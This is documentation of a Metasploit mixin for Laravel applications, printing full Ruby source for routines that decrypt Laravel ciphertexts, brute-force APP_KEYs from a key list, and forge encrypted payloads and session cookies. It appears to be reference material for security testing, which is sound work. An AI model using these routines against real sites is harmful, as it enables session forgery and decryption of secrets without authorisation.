Module: Msf::Exploit::LaravelCryptoKiller

Defined in:
lib/msf/core/exploit/laravel_crypto_killer.rb

Overview

This mixin module provides methods to exploit bad implementations of decryption mechanisms in Laravel applications. This tool was firstly designed to craft payloads targeting the Laravel decrypt() function from the package Illuminate\Encryption. It can also be used to decrypt any data encrypted via encrypt() or encryptString(). The tool requires a valid APP_KEY to be used, you can also try to bruteforce them if you think there is a potential key reuse from a public project for example. Original authors of the tool: @_remsio_ @Kainx42 from SynActiv. Orignal python code can be found here: https://github.com/synacktiv/laravel-crypto-killer Recoded in Ruby by h00die-gr3y (h00die.gr3ygmail.com)

Instance Method Summary collapse

Instance Method Details

#aes_decrypt(encrypted_value, iv, key, cipher_mode) ⇒ String

Perform AES decryption in CBC mode (compatible with Laravel)

Parameters:

  • encrypted_value (String) —

    Encrypted value that will be decrypted

  • iv (String) —

    Random 16-byte IV parameter used for encryption

  • key (String) —

    The key used for decryption

  • cipher_mode (String) —

    Cipher_mode used for encryption (AES-256-CBC)

Returns:

  • (String) —

    The decrypted value or nil if unsuccessful



61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 61

def aes_decrypt(encrypted_value, iv, key, cipher_mode)
  # Check cipher mode
  unless valid_cipher?(cipher_mode)
    vprint_error("Cipher is not valid: #{cipher_mode}")
    return
  end
  # Create AES cipher in CBC mode
  cipher = OpenSSL::Cipher.new(cipher_mode)
  cipher.decrypt
  cipher.key = key
  cipher.iv = iv

  # Decrypt the value
  cipher.update(encrypted_value) + cipher.final
rescue OpenSSL::Cipher::CipherError => e
  vprint_error("AES decryption failed: #{e.message}")
end

#aes_encrypt(value, iv, key, cipher_mode) ⇒ String

Perform AES encryption in CBC mode (compatible with Laravel)

Parameters:

  • value (String) —

    The value that will be encrypted

  • iv (String) —

    The IV parameter used for encryption

  • key (String) —

    The key used for encryption

  • cipher_mode (String) —

    Cipher_mode used for encryption (AES-256-CBC)

Returns:

  • (String) —

    The encrypted value or nil if unsuccessful



32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 32

def aes_encrypt(value, iv, key, cipher_mode)
  # Check cipher mode
  unless valid_cipher?(cipher_mode)
    vprint_error("Cipher is not valid: #{cipher_mode}")
    return
  end
  # Create a new AES cipher in CBC mode
  cipher = OpenSSL::Cipher.new(cipher_mode)
  cipher.encrypt
  cipher.key = key
  cipher.iv = iv

  # Padding (similar to the pad lambda in Python)
  pad_length = 16 - (value.length % 16)
  padded_value = value + (pad_length.chr * pad_length)

  # Encrypt the data
  cipher.update(padded_value)
rescue StandardError => e
  vprint_error("AES encryption failed: #{e.message}")
end

#generate_mac(key, iv, value) ⇒ String

Generate HMAC with SHA256

Parameters:

  • value (String) —

    The value that will be encrypted

  • iv (String) —

    Random 16-byte IV parameter

  • key (String) —

    The key

Returns:

  • (String) —

    The hmac digest.



200
201
202
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 200

def generate_mac(key, iv, value)
  return OpenSSL::HMAC.hexdigest('SHA256', key, "#{iv}#{value}")
end

#laravel_bruteforce_from_file(value, key_file, cipher_mode) ⇒ String

Uses an opened file containing a key on each line to perform a brute-force attack on a given value

Parameters:

  • value (String) —

    The encrypted Laravel value

  • key_file (String) —

    The file with Laravel APP_KEYs per line used for brute-force decryption

  • cipher_mode (String) —

    Cipher_mode used for encryption (AES-256-CBC)

Returns:

  • (String) —

    The valid key if it was identified with the value: "value":



176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 176

def laravel_bruteforce_from_file(value, key_file, cipher_mode)
  if !File.file?(key_file)
    return nil
  end

  File.foreach(key_file) do |line|
    key = line.strip
    decrypted_value = laravel_decrypt(value, key, cipher_mode).force_encoding('utf-8')
    if decrypted_value
      return { 'key' => key, 'value' => decrypted_value }
    end
  rescue StandardError
    next
  end

  nil
end

#laravel_decrypt(laravel_cipher, key, cipher_mode) ⇒ String

Decrypts a Laravel ciphered string

Parameters:

  • laravel_cipher (String) —

    The Laravel cipher to be decrypted

  • key (String) —

    The key used for decryption

  • cipher_mode (String) —

    Cipher_mode used for encryption (AES-256-CBC)

Returns:

  • (String) —

    The decrypted Laravel cipher or nil if unsuccessful



159
160
161
162
163
164
165
166
167
168
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 159

def laravel_decrypt(laravel_cipher, key, cipher_mode)
  data = parse_laravel_cipher(laravel_cipher)
  key = retrieve_key(key)

  begin
    return aes_decrypt(data['value'], data['iv'], key, cipher_mode)
  rescue StandardError
    vprint_error('Your key is probably malformed or incorrect.')
  end
end

#laravel_encrypt(value_to_encrypt, key, cipher_mode) ⇒ String

Encrypts a base64 string as a ciphered Laravel value

Parameters:

  • value_to_encrypt (String) —

    The base64-encode value that will be encrypted

  • key (String) —

    The key used for decryption

  • cipher_mode (String) —

    Cipher_mode used for encryption (AES-256-CBC)

Returns:

  • (String) —

    The base64-encoded encrypted JSON.



85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 85

def laravel_encrypt(value_to_encrypt, key, cipher_mode)
  key = retrieve_key(key)
  iv = OpenSSL::Random.random_bytes(16) # Random 16-byte IV
  tmp_bytes = Base64.strict_encode64(aes_encrypt(Base64.strict_decode64(value_to_encrypt), iv, key, cipher_mode))

  # Base64-encode the IV
  b64_iv = Base64.strict_encode64(iv).strip

  # Prepare data for output
  data = {
    'iv' => b64_iv,
    'value' => tmp_bytes.strip,
    'mac' => generate_mac(key, b64_iv, tmp_bytes.strip),
    'tag' => '' # Assuming empty tag
  }
  # Return the final encrypted value as Base64-encoded JSON
  Base64.strict_encode64(data.to_json)
end

Encrypts a base64 string as a Laravel session cookie.

Parameters:

  • value_to_encrypt (String) —

    The value that will be encrypted

  • hash_value (String) —

    The decrypted value of the Laravel session cookie

  • key (String) —

    The key used for decryption

  • cipher_mode (String) —

    Cipher_mode used for encryption (AES-256-CBC)

Returns:

  • (String) —

    The base64-encoded encrypted Laravel session_cookie value



111
112
113
114
115
116
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 111

def laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode)
  decoded_value = Base64.strict_decode64(value_to_encrypt).force_encoding('utf-8')
  parsed_value = decoded_value.gsub('\\', '\\\\\\').gsub('"', '\\"').gsub(/\00/, '\\u0000')
  session_json_to_encrypt = "#{hash_value}|{\"data\":\"#{parsed_value}\",\"expires\":9999999999}"
  laravel_encrypt(Base64.strict_encode64(session_json_to_encrypt), key, cipher_mode)
end

#parse_laravel_cipher(laravel_cipher) ⇒ String

Parses Laravel cipher data

Parameters:

  • laravel_cipher (String) —

    The base64-encoded Laravel cipher data

Returns:

  • (String) —

    The laravel parsed cipher data in JSON format or nil if unsuccessful



122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 122

def parse_laravel_cipher(laravel_cipher)
  laravel_cipher = CGI.unescape(laravel_cipher) # Decoding URL encoded string
  begin
    data = JSON.parse(Base64.strict_decode64(laravel_cipher))
  rescue JSON::ParserError
    vprint_error('The JSON inside your base64 is malformed')
    return
  rescue StandardError
    vprint_error('Your base64 laravel_cipher value is malformed')
    return
  end

  data['value'] = Base64.strict_decode64(data['value'])
  data['iv'] = Base64.strict_decode64(data['iv'])
  data
end

#retrieve_key(key) ⇒ String

Parse Laravel APP_KEY value

Parameters:

  • key (String) —

    The Laravel APP_KEY

Returns:

  • (String) —

    The Laravel parsed APP_KEY



143
144
145
146
147
148
149
150
151
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 143

def retrieve_key(key)
  if key.start_with?('base64:')
    Base64.strict_decode64(key.split(':')[1])
  elsif key.length == 44
    Base64.strict_decode64(key)
  else
    key.encode('utf-8')
  end
end

#valid_cipher?(cipher_mode) ⇒ Boolean

Check if cipher is valid

Parameters:

  • cipher_mode (String) —

    The cipher_mode

Returns:

  • (Boolean) —

    true if mode is ok or false if mode is not valid



20
21
22
23
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 20

def valid_cipher?(cipher_mode)
  ciphers ||= OpenSSL::Cipher.ciphers
  ciphers.include?(cipher_mode.downcase)
end